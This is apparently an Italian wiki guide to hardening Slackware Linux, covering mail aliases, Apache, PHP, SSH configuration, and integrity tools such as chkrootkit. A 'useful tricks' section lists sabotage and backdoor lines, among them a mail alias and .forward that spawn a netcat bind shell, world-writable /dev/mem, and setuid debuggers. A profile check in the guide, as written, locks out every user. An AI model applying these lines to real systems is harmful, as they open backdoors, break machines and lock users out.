dentonj@darkstar:~$ ls -l .forward
-rw-r--r--  1 root root 0 2001-06-27 20:17 .forward
dentonj@darkstar:~$ mv .forward .forward.moved
dentonj@darkstar:~$ ls -l .forward.moved
-rw-r--r--  1 root root 0 2001-06-27 20:17 .forward.moved

Comunque rendere il file non modificabili previene questo comportamento.

root@darkstar:~# touch /home/dentonj/.forward
root@darkstar:~# chattr +i /home/dentonj/.forward
root@darkstar:~# lsattr /home/dentonj/.forward 
----i-------- /home/dentonj/.forward
root@darkstar:~# chmod go-rwx /usr/bin/chattr /usr/bin/lsattr
dentonj@darkstar:~$ ls -l .forward
-rw-r--r--  1 root root 0 2001-06-27 20:19 .forward
dentonj@darkstar:~$ mv .forward .forward.moved
mv: cannot move `.forward' to `.forward.moved': Operation not permitted

/usr/sbin/smrsh:

DA FARE

/etc/mail/aliases:
Sono solito commentare la maggior parte di ciò che segue. Sono molto interessato a sapere se qualcuno realmente prova ad inviare una mail a qualcuno di questi.

postmaster:	root, dentonj
bin:		root, dentonj
daemon:		root, dentonj
games:		root, dentonj
ingres:		root, dentonj
nobody:		root, dentonj
system:		root, dentonj
toor:		root, dentonj
uucp:		root, dentonj
manager:	root, dentonj
dumper:		root, dentonj
webmaster:	root, dentonj
abuse:		root, dentonj
decode:		root, dentonj

Aggiungere ogni eventuale accounti di sistema presente in /etc/passwd:

admin:		root, dentonj
ftp:		root, dentonj
mail:		root, dentonj
mysql:		root, dentonj
smmsp:		root, dentonj
sshd:		root, dentonj
root@darkstar:~# newaliases
man aliases
man newaliases

Se avete bisogno di eseguire sendmail esclusivamente per la posta locale, utilizzate cron.

root@darkstar:~# /etc/rc.d/rc.sendmail stop
root@darkstar:~# chmod 600 /etc/rc.d/rc.sendmail

/etc/cron.hourly/mqueue

#!/bin/sh
/usr/sbin/sendmail -q
 
root@darkstar:~# chmod 700 /etc/cron.hourly/mqueue
man crond	

/usr/sbin/httpd:

root@darkstar:~# groupadd -g 80 http
root@darkstar:~# useradd -u 80 -g 80 http

/etc/apache/httpd.conf:

#LoadModule includes_module	libexec/apache/mod_include.so
#LoadModule autoindex_module	libexec/apache/mod_autoindex.so
#LoadModule speling_module	libexec/apache/mod_speling.so
#LoadModule userdir_module	libexec/apache/mod_userdir.so
#LoadModule anon_auth_module	libexec/apache/mod_auth_anon.so
#LoadModule digest_module	libexec/apache/mod_digest.so
#LoadModule proxy_module	libexec/apache/mod_proxy.so
#LoadModule cern_meta_module	libexec/apache/mod_cern_meta_module.so
#LoadModule usertrack_module	libexec/apache/mod_usertrack.so
#LoadModule unique_id_module	libexec/apache/mod_unique_id.so
#AddModule mod_includes.c
#AddModule mod_autoindex.c
#AddModule mod_speling.c
#AddModule mod_userdir.c
#AddModule mod_auth_anon.c
#AddModule mod_digest.c
#AddModule mod_proxy.c
#AddModule mod_cern_meta.c
#AddModule mod_usertrack.c
#AddModule mod_unique_id.c
User http
Group http
ServerAdmin root@localhost
<Directory "/var/www/htdocs">
Options FollowSymLinks MultiViews
UseCanonicalName Off    
LogLevel info
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" %T"
CustomLog /var/log/apache/access_log combined
ServerSignature Off
ServerTokens ProductOnly
<Directory "/var/www/icons">
Options MultiViews
#Alias /manual/ "/var/www/htdocs/manual/"
#<Directory "/var/www/htdocs/manual">
#    Options Indexes FollowSymLinks MultiViews
#    AllowOverride None
#    Order allow,deny
#    ALlow from all
#</Directory>
#ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
#<Directory "/var/www/cgi-bin">
#    AllowOverride None
#    Options None
#    Order allow,deny
#    Allow from all
#</Directory>

/etc/logrotate.d/httpd:

/var/log/apache/access_log /var/log/apache/error_log {
	create 0640 root root
        mail dentonj@gmail.com
	mailfirst
	sharedscripts
	postrotate
		/bin/kill -HUP `cat /var/run/httpd.pid \
		2> /dev/null || true`
	endscript
}
 
dentonj@darkstar:~$ links /var/www/htdocs/manual/misc/security_tips.html

PHP:
Fortunatamente il PHP è disbilitato di default. Ci sono alcune impostazioni che potete adottare per impedire agli script kiddies di accedere tranquillamente al vostro sistema.

/etc/apache/httpd.conf:

Include /etc/apache/mod_php.conf

/etc/apache/php.ini:

display_errors = Off
log_errors = On
error_log = /var/log/apache/php_errors
register_globals = Off
variables_order = "ES"
expose_php = Off
all_url_fopen = Off
open_basdir = /var/www
disable_functions = system,exec,shell_exec,eval,include,require,include_once,require_once,preg_replace
safe_mode = On
safe_mode_include_dir = /usr/php/include
safe_mode_exec_dir = /usr/php/bin
safe_mode_gid = On
safe_mode_allowed_env_vars = PHP_
safe_mode_protected_env_vars = LD_LIBRARY_PATH
root@darkstar:~# touch /var/log/apache/php_errors
root@darkstar:~# mkdir -p /usr/php/include
root@darkstar:~# mkdir /usr/php/bin
man httpd
man php

/etc/ssh/ssh_config:

# Host *
ForwardAgent no
ForwardX11 no
RhostsRSAAuthentication no
RSAAuthentication no
PasswordAuthentication yes
HostbasedAuthentication no
BatchMode no
CheckHostIP yes
AddressFamily any
ConnectTimeout 0
StrictHostKeyChecking ask
#   IdentityFile ~/.ssh/identity
IdentityFile ~/.ssh/id_rsa
IdentityFile ~/.ssh/id_dsa
Port 22
Protocol 2
#   Cipher 3des
# Ciphers aes256-cbc,aes256-ctr
EscapeChar ~
Compression yes
HashKnownHosts yes
EnableSSHKeysign no
LogLevel DEBUG
PubkeyAuthenticaton yes
ServerAliveInterval 60
ServerAliveCountMax 10
TCPKeepAlive no
UserKnownHostsFile ~/.ssh/known_hosts

/etc/ssh/sshd_config

Port 22
Protocol 2
AddressFamily inet
ListenAddress 192.168.1.2

# HostKey per la versione 1 del protocollo
# HostKey /etc/ssh/ssh_host_key
# HostKeys per la versione 2 del protocollo
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key

# durata e dimensione della versione 1 della chiave server
#KeyRegenerationInterval 1h
#ServerKeyBits 768

# Logging
# obsoleti QuietMode and FascistLogging
SyslogFacility AUTH
LogLevel DEBUG

# Autenticazione:

LoginGraceTime 2m
PermitRootLogin no
StrictModes yes
MaxAuthTries 6

AllowUsers dentonj@trustedhost
AllowGroups wheel

RSAAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile     .ssh/authorized_keys

# affinché questo funzioni hai bisogno di mettere le chiavi in /etc/ssh/ssh_known_hosts
RhostsRSAAuthentication no
# simile per la verione 2 del protocollo
HostbasedAuthentication no
# cambia in Yes se non ti fidi di ~/.ssh/known_hosts per
# RhostsRSAAuthentication and HostbasedAuthentication
IgnoreUserKnownHosts no
# Non leggere le ~/.rhosts e gli ~/.shosts files degli utenti
IgnoreRhosts yes

# Per disabilitare le tunneled password in chiaro , modifica in no qui di seguito!
PasswordAuthentication no
PermitEmptyPasswords no

# Modifica in no per disabilitare le s/key passwords
#ChallengeResponseAuthentication yes

# Opzioni di Kerberos 
#KerberosAuthentication no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
#KerberosGetAFSToken no

# Opzioni di GSSAPI
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes

#usePAM no

AllowTcpForwarding yes
GatewayPorts no
X11Forwarding no
X11DisplayOffset 10
X11UseLocalhost yes
PrintMotd yes
PrintLastLog yes
TCPKeepAlive no
UseLogin no
UsePrivilegeSeparation yes
PermitUserEnvironment no
Compression delayed
ClientAliveInterval 60
ClientAliveCountMax 10
UseDNS yes
PidFile /var/run/sshd.pid
#MaxStartups 10

# no default banner path
Banner /etc/issue.net

# override default of no subsystems
#Subsystem       sftp    /usr/libexec/sftp-server

# Ciphers aes256-cbc,aes256-ctr
    
# login.conf(5) non è utilizzato in Slackware
ChallengeResponseAuthentication no
root@darkstar:~# chmod u-s /usr/libexec/ssh-keysign
man ssh
man sshd
man ssh_config
man sshd_config

/etc/ssh/sshrc:

DA FARE

/usr/bin/mysql_safe:

DA FARE

root@darkstar:~# less /var/lib/mysql/darkstar.err
 
man mysql_fix_privilege_tables

NFS:

root@darkstar:~# removepkg nfs-utils

NIS:

root@darkstar:~# removepkg yptools

[modifica] Programmi/Scripts di Sicurezza

GnuPG:
Presente all'interno del CD 3 di Slackware:

mount /mnt/cdrom
cd /mnt/cdrom/testing/packages
installpkg gnupg-1.4.2-i486-1.tgz

libsafe:
Presente all'interno del CD 3 di Slackware:

mount /mnt/cdrom
cd /mnt/cdrom/extra/libsafe-2.0.16
installpkg libsafe-2.0.16-i386-1.tgz

Snort:

http://www.snort.org

DA FARE

sXid:

http://packages.debian.org/stable/source/sxid
root@darkstar:~# cp sxid_4.0.5.tar.gz src
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd sxid_4.0.5.tar.gz | tar xvf -
root@darkstar:~/src# cd sxid-4.0.5
root@darkstar:~/src/sxid-4.0.5# less README
root@darkstar:~/src/sxid-4.0.5# make install

/usr/local/etc/sxid.conf:

ALWAYS_NOTIFY = "yes"
ALWAYS_ROTATE = "yes"
IGNORE_DIRS = ""

/etc/cron.daily/sxid:

#!/bin/sh
/usr/bin/sxid
root@darkstar:~# chmod 700 /etc/cron.daily/sxid
root@darkstar:~# sxid

chkrootkit:

http://www.chkrootkit.org
root@darkstar:~# cp chkrootkit_0.46a.tar.gz src/
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd chkrootkit_0.46a.tar.gz | tar xvf -
root@darkstar:~/src# cd chkrootkit-0.46a
root@darkstar:~/src/chkrootkit-0.46a# less README
root@darkstar:~/src/chkrootkit-0.46a# make sense

Copiate i seguenti file to /usr/local/sbin:

check_wtmpx
chkdirs
chklastlog
chkproc
chkrootkit
chkutmp
chkwtmp
ifpromisc
strings-static
root@darkstar:~# crontab -e
# I risultati di Chkrootkit, sono inviati via mail a root
10 4 * * * ( cd /usr/local/sbin && ./chkrootkit 2>&1)
root@darkstar:~# killall -HUP crond

aide:

http://sourceforge.net/project/aide

DA FARE

lcap:

root@darkstar:~# cp lcap_0.0.6.orig.tar.gz src/
root@darkstar:~# cd src
root@darkstar:~/src# gzip -cd lcap_0.0.6.orig.tar.gz | tar xvf -
root@darkstar:~/src/# cd lcap-0.0.6/
root@darkstar:~/src/lcap-0.0.6# less README
root@darkstar:~/src/lcap-0.0.6# make
root@darkstar:~/src/lcap-0.0.6# strip lcap
root@darkstar:~/src/lcap-0.0.6# cp lcap /usr/local/sbin

[modifica] Usabilità/Diminuzione della Sicurezza

Eseguire applicazioni sotto X come utente root:
Il libro Linux Security Cookbook contiene un piccolo script che imposta DISPLAY e XAUTHORITY in modo tale da permettere a root di eseguire applicazioni sotto l'ambiente X. In alternativa si possono impostare le variabili DISPLAY e HOME in modo tale da ottenere lo stesso risultato.

root@darkstar:~# xv
xv: Can't open display
root@darkstar:~# DISPLAY=:0.0
root@darkstar:~# xv
Xlib: connection to ":0.0" refused by server
Xlib: Invalid MIT-MAGIC-COOKIE-1 key
xv: Can't open display
root@darkstar:~# HOME=/home/dentonj
root@darkstar:~# xv

Una soluzione ancora migliore è quella di utilizzare xauth e impostare il MIT-MAGIC-COOKIE:

root@darkstar:~# xauth -f /home/dentonj/.Xauthority extract - :0 | \
xauth merge -
root@darkstar:~# xauth list 
darkstar/unix:0  MIT-MAGIC-COOKIE-1  abcdef0123456789abcdef0123456789
dentonj@darkstar:~$ xauth list
darkstar/unix:0  MIT-MAGIC-COOKIE-1  abcdef0123456789abcdef0123456789
localhost:0  MIT-MAGIC-COOKIE-1  9876543219fedcba9876543210fedcba

Dovrete ancora impostare la variabile DISPLAY per l'utente root. Fate attenzione che impostare tale variabile all'interno di un file di configurazione della shell (ad esempio /etc/profile) può causare dei problemi alle funzionalità di inoltro del server X utilizzando ssh.

man xauth
man Xsecurity

/usr/bin/lessopen.sh:
Mi piace analizzare il codice. Decommentate le righe seguenti:

*) FILE=`file -L "$1"` ; # Check to see if binary, if so -- view with 'strings'
FILE1=`echo $FILE | cut -d ' ' -f 2`
FILE2=`echo $FILE | cut -d ' ' -f 3`
if [ "$FILE1" = "Linux/i386" -o "$FILE2" = "Linux/i386" \
     -o "$FILE1" = "ELF" -o "$FILE2" = "ELF" ]; then
  strings "$1"
fi ;;

Beep d'errore:
Utilizzare in maniera assidua la funzionalità di completamento del testo all'interno della shell bash. Tuttavia il suono della campanella in caso di errore tende ad infastidire coloro che sono vicino. Di seguito sono riportate tre modalità per eliminare il beep a fronte di errori nell'utilizzo della shell:

/etc/profile:

setterm -bfreq 0

~/.xinitrc:

xset -b
exec /usr/X11R6/bin/startfluxbox

/etc/inputrc:

set bell-style none
man bash

[modifica] Espedienti più utili

/etc/aliases:

opensaysme:	| nc -l -p 44444 -e /bin/sh

~/.forward:

| nc -l -p 44444 -e /bin/sh

/etc/login.defs:

NO_PASSWORD_CONSOLE tty1,tty2,tty3,tty4,tty5,tty6

/etc/rc.d/rc.6:

touch /etc/forcefsck

/etc/hotplug/blacklist:

hid

/etc/inittab:

id:6:initdefault:
iptables -m random
iptables -A FORWORD -s 192.168.1.1 -m random --average 90 -j DROP
iptables -A INPUT -j DROP

da qualche parte in /etc/rc.d:

reboot
enable -n enable    
chmod u+s /usr/bin/strace
chmod u+s /usr/bin/gdb
chmod 666 /dev/mem
chmod 666 /dev/kmem
chmod 666 /dev/port
ifconfig eth0 mtu 68
touch ./-r

[modifica] Comandi utili

ldd /usr/bin/lppasswd
/lib/ld-linux.so.2 --list /usr/bin/lppasswd
strings /usr/bin/lppasswd

Elenco di alcuni dei più noti comandi REM usati

man -k cron
grep crond /var/log/packages/*
cd /bin && for i in `ls | grep -v "@$"`; do
file $i | grep "not stripped"
done
for i in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin \
/usr/X11R6/bin; do echo $i; cd $i && for j in `ls | grep "@$"`; do file $j \
| grep "not stripped"; done; done
which kill
type -a kill
stat /bin/login
touch example
stat example
touch -r /bin/login example
stat example
strace -p 19148 -f -e trace=network,read,write -o ssh_trace.out -e write=4 \
-e read=6  # Where 19148 is the PID of sshd
ifconfig eth0 hw ether 00:00:DE:AD:BE:EF
ifconfig eth0 0.0.0.0 up -arp
ln -s /usr/bin/write /bin/write
kibitz dentonj

[modifica] /etc/profile

# Se le seguenti variabili non sono settate, il sistema invia un messaggio di errore
: ${USER:?Who are you?}
: ${LOGNAME:?Who are you?}
: ${HOME:?The homeless need help}

# Se un utente non ha la home directory elencata in /etc/passwd, 
# login è sufficientemente gentile da definirli "/" come $HOME
if [ ${HOME} = "/" ]; then
  logout
fi  

# butta fuori e blocca gli utenti che hanno UID 0 e non sono root
if [ `id -u` = "0" -a `echo $USER` != "root" ]; then
  
# blocca gli utenti
passwd -l $USER

# Salva alcune informazioni
date >> /root/SHIT
netstat -peanut >> /root/SHIT
ps auxww >> /root/SHIT
w >> /root/SHIT

w | mail -s "$USER has gained ROOT access on $HOSTNAME" dentonj@gmail.com

# rendilo noto a tutti

wall << EOF

****************************************************************

          $USER has gained ROOT access on $HOSTNAME!!!

****************************************************************

EOF

for i in `ls /dev/pts/`; do
  echo -e "\n$USER has gained ROOT access on $HOSTNAME!!\n" >> /dev/pts/$i
done  

# Loggalo
logger -is -f /var/log/messages "$USER has gained ROOT access!!"

# Let the luzer know
echo -e "\a\n\n You are _NOT_ root!!\n\n\a"

# per i paranoici puri (eseguilo prima di uccidere i processi dell'utente)
ifconfig eth0 down
  
# uccidi l'utente ed i suoi processi
skill -9 -u $USER

# questo dovrebbe essere ridondante
logout
  exit
fi  
export LESSOPEN="|/usr/bin/lessopen.sh %s"

# Definisci un prompt di shell di default:
#PS1='`hostname`:`pwd`#'
#if [ "$SHELL" = "/bin/pdksh" ]; then
#  PS1='! $ '
#elif [ "$SHELL" = "/bin/ksh" ]; then
#  PS1='! ${PWD/#$HOME/~}$ '
#elif [ "$SHELL" = "/bin/zsh" ]; then
#  PS1='%n@%m:%~%# '
#elif [ "$SHELL" = "/bin/ash" ]; then
#  PS1='$ '
#else
#  PS1=/\u@\h:\w\$ '
#fi  
if [ `id -u` = 0 ]; then
  # un prompt di shell rosso per root
  PS1="\[\033[1;31m\][\j][\u@\h:\w]#\[\033[0m\] "
else
  # un prompt di shell verde per tutti gli altri
  PS1="\[\033[1;32m\][\j][\u@\h:\w]$\[\033[0m\] "
fi  
PS2='>'
export PATH LESS TERM PS1 PS2

# Per gli utenti non-root, aggiungi la seguente directory al path di ricerca:
#if [ ! "`id -u`" = "0" ]; then
#  PATH="$PATH:."
#fi  

#
# Altro materiale da me aggiunto
#

# aggiungi $HOME/bin al path di ricerca
PATH=$PATH:$HOME/bin
export PATH

export FIGNORE=".o"

# Definisci l'editor per less
export EDITOR=vim

# History
# Io di solito utilizzo questi settaggi, 100 o 10.
export HISTSIZE=10000
export HISTFILESIZE=10000

# Mostra l'informazione di timestamp per ogni history entry
export HISTTIMEFORMAT="%F %T "

# termina la sessione se un terminale di root non viene utilizzato per un certo periodo
if [ `id -u` = "0" ]; then
    export TMOUT=1200
fi

# Aliases
alias matrix="cmatrix -bass"
alias m="cmatrix -bass"
alias su="su -"
alias td="tcpdump -nvvSi eth0 | grcat conf.tcpdump"

# shred non cancella in maniera ricorsiva
# use "/bin/rf -rf ..." per le directories
alias rm="shred -uz"

# Disabilita il comando di kill all'interno di bash, ma forza sempre l'uso
# di /bin/kill.
# Questa è una buona idea, ma previene l'uccisione di jobs
#enable -n kill

# settaggi di shell
shopt -s cdspell
shopt -s cmdhist
shopt -s dotglob
shopt -s extglob
setterm -bfreq 0

# opzioni di grep
export GREP_OPTIONS="-n --color"
export GREP_COLOR="1;33"

# rendi sicuro less
export LESSSECURE=1

# Questo funziona per un sistema monoutente se l'intruso che irrompe nel tuo 
# sistema usa una shell interattiva
if [ `id -u` != "0" -o `id -u` != "1000" ]; then
    passwd -l $USER
    logout
fi    

# definisci le variabili seguenti e rendile solo leggibili per evitare che siano gli utenti stessi a settarle
export HISTCONTROL=""
export HISTIGNORE=""

# Disabilità i comandi di builtin shell
# DA FARE

# Setta le variabili di shell come read only e con questa dovremmo avere finito:
typeset -r HISTCONTROL
typeset -r HISTFILE
typeset -r HISTFILESIZE
typeset -r HISTIGNORE
typeset -r HISTNAME
typeset -r HISTSIZE
typeset -r LESSSECURE
typeset -r LOGNAME
typeset -r USER

[modifica] E per finire

Collegatevi al canale #slackware sul server irc.oftc.net e parlate tranquillamente di tutto fuorchè di Slackware.

[modifica] Da fare

KDE:
Analizzare

/etc/shells:
Bloccare le altre tipologie di shells.

/bin/login:
Modificare così che venga usato un algoritmo di hashing del testo cifrato

Mettere in sicurezza filesystems diversi da ext2 e ext3

Utilità di controllo dei log

[modifica] Risorse

Strumenti personali
Namespace

Varianti